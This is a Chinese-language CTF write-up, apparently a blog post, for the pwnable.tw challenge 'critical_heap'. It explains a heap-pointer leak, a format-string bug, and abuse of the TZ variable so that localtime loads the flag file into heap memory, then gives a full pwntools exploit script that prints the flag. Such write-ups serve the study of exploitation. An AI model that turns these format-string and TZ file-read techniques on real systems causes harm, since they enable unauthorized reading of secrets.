分析

这题主要是三个结构体的利用:

  1. normal heap
  2. clock heap
  3. system heap

normal heap可以在bss上输入content,当play时调用重写功能后,结构体最末尾8个字节会被填满,此时如果content填满0x28个字符后可以泄露出下一个结构体的name指针也就是堆地址,同时show功能存在格式化字符串漏洞,虽然是调用的__printf_chk,但是由于栈上有一个可控的buf,可以很容易做到任意地址泄露。

创建clock heap调用了localtime,当环境变量中存在TZTZDIR时,这个函数会把两者拼接成一个完整地址,将地址指向的文件读入堆内存做一系列处理,最后返回一个指向libc中结构体的指针,供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk中,但是没有被覆盖掉。

此时发现system heap正好可以设置环境变量,于是大功告成,思路有了。

思路

  1. 泄露堆地址;

  2. 设置TZ环境变量,为flag文件地址;

  3. 创建clock heap

  4. 格式化字符串泄露flag

EXP

from pwn import *

#p = process("./critical_heap")
p = remote("chall.pwnable.tw", 10500)
elf = ELF("./critical_heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"

flag_path = b"/home/critical_heap++/flag"
#flag_path = b"/flag"

def create_normal(name, content):
    '''create_normal(name, content)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Content of heap :", content)

def create_clock(name):
    '''create_clock(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"2\n")

def create_system(name):
    '''create_system(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"3\n")

def show_heap(idx:int):
    '''show_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")

def rename_heap(idx:int, name):
    '''rename_heap(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"3\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Name of heap:", name)

def show_normal_content(idx:int):
    '''show_normal_content(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def change_normal_content(idx:int, content):
    '''change_normal_content(idx:int, content)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Content :", content)
    p.sendafter(b"Your choice : ", b"3\n") #return

def leak_ptr_content(normal_idx:int, ptr, ret:int):
    '''use normal heap's fmt bug'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(normal_idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    payload = (b"%p"*12+b"||%s").ljust(0x20, b"a") + p64(ptr)
    print("len(payload):", hex(len(payload)))
    p.sendafter(b"Content :", payload)
    p.sendafter(b"Your choice : ", b"1\n") #show
    if ret==1:
        p.sendafter(b"Your choice : ", b"3\n") #return

def show_clock(idx:int):
    '''show_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def update_clock(idx:int):
    '''update_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def set_system_env(idx:int, name, value):
    '''set_system_env(idx:int, name, value)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Give me a name for the system heap :", name)
    p.sendafter(b"Give me a value for this name :", value)
    p.sendafter(b"Your choice : ", b"5\n") #return

def del_system_env(idx:int, name):
    '''del_system_env(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"What's name do you want to unset :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return

def get_realpath(idx:int):
    '''get_realpath(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"3\n")

def get_value_of_name(idx:int, name):
    '''get_value_of_name(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"What's name do you want to see :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return 

def delete_heap(idx:int):
    '''delete_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"5\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")   

def exp():
    # leak heap
    create_normal(b"AAAA", b"a"*0x28) #0
    create_system(b"BBBB") #1
    change_normal_content(idx=0, content=b"a"*0x28)
    show_heap(idx=0)
    p.recvuntil(b"\x1b!\x1b!")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # modify TZ

    set_system_env(idx=1, name=b"TZ", value=flag_path)
    create_clock(b"DDDD") #2

    heap_flag_ptr = heap_base + 0x440

    # fnt str leak flag
    #gdb.attach(p, "b *0x40194b\nc\n")
    create_normal(b"CCCC", b"a"*0x28) #3
    leak_ptr_content(normal_idx=3, ptr=heap_flag_ptr, ret=0)
    p.recvuntil(b"||")
    flag = p.recvuntil(b"}").decode()
    print(flag)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

标签: none

添加新评论